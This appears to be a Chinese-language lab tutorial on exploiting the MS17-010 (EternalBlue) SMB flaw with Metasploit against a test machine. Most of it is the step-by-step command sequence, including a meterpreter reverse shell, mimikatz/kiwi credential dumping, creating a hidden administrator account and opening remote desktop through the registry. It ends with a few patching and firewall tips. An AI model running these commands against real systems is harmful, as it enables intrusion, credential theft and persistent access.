当前位置 : 主页 > 编程语言 > 其它开发 >

MS17-010永恒之蓝漏洞利用

来源:互联网 收集:自由互联 发布时间:2022-07-13
MS17-010永恒之蓝漏洞利用 原理 永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码。 SMB服务在Windows与
MS17-010永恒之蓝漏洞利用 原理

永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码。SMB服务在Windows与UNIX系列OS之间搭起一座桥梁,让两者的资源可互通有无。漏洞原理的深入研究,请参考:(https://blog.csdn.net/luoshenwei3533/article/details/82931999)

实验前准备
攻击ip:192.168.200.130
被攻击ip:192.168.200.101  开启了445端口(默认是开启的),未打漏洞补丁,关闭防火墙
二者能够相互ping通
步骤 1、启动MSF
msfconsole

2、ms17_010模块使用过程
search ms17_010                              查找相应的漏洞模块
​
use exploit/windows/smb/ms17_010_psexec      加载模块
​
set RHOSTS 192.168.200.101                   设置攻击目标
​
check                                        进行检测,确认是否存在ms17_010漏洞
​
set payload windows/meterpreter/reverse_tcp  加载payload
​
set LHOST 192.168.200.130                    设置本地IP
​
show options                                 查看模块相关参数
​
run                                          攻击

(1)查找相应的漏洞模块

 (2)加载模块并设置目标

我们这里使用第1个,即”exploit/windows/smb/ms17_010_psexec“模块,并设置RHOSTS为被攻击IP

 

使用check命令检测一下是否存在ms17_010漏洞。检测时,会自动加载auxiliary/scanner/smb/smb_ms17_010模块,可以看到,被攻击目标是存在这个漏洞的。

 (3)加载payload

这里使用windows/meterpreter/reverse_tcp作为攻击payload。

 

攻击前,再用show options命令检查一下设置是否正确。

 

(4)攻击

3、漏洞利用

(1) 查看系统信息 sysinfo

 

(2) 查看当前用户的权限 getuid

 

(3))获取目标系统权限 shell

 

(4)获取目标主机用户以及密码,需要使用system权限,如果是在administrator下,直接使用 getsystem 即可

load kiwi  加载kiwi模块
help kiwi  查看kiwi模块帮助

 

creds_all 查看用户,密码,密码对应hash值等

 

kiwi具体命令

load kiwi
​
creds_all:列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync:通过DCSync检索用户帐户信息
dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list:列出当前用户的wifi配置文件
wifi_list_shared:列出共享wifi配置文件/编码

(5)开启目标远程

开启目标远程,并创建一个test帐户

>>方法一

meterpreter > run post/windows/manage/enable_rdp username="test" password="123456"

  验证

>>方法二

shell    
net user lfn 123456 /add 创建用户 net localgroup administrators lfn /add 添加管理员权限

>>ps如果目标机器没有开启远程桌面服务,使用注册表进行打开

C:\Windows\system32>REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

使用刚才创建的用户和密码进行远程,进行远程控制。

rdesktop 192.168.200.101 -u test -p 123456

防护措施
  • 关闭445等高危端口

  • 配置防火墙,安装防护软件

  • 安装补丁

上一篇:Linux shell脚本进阶使用
下一篇:没有了
网友评论